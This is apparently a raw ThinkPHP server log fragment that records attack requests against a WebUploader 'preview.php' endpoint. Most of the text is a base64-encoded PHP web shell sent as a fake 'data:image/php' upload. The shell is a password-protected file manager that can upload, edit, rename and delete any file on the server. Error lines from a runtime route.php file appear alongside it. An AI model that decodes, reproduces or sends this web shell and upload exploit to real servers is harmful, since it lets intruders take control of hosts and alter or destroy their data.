tZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:37+08:00 ] 119.42.146.234 POST 59.110.137.245/Content/webuploader/0.1.5/server/preview.php [运行时间:0.002866s] [吞吐率:348.94req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Content', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbW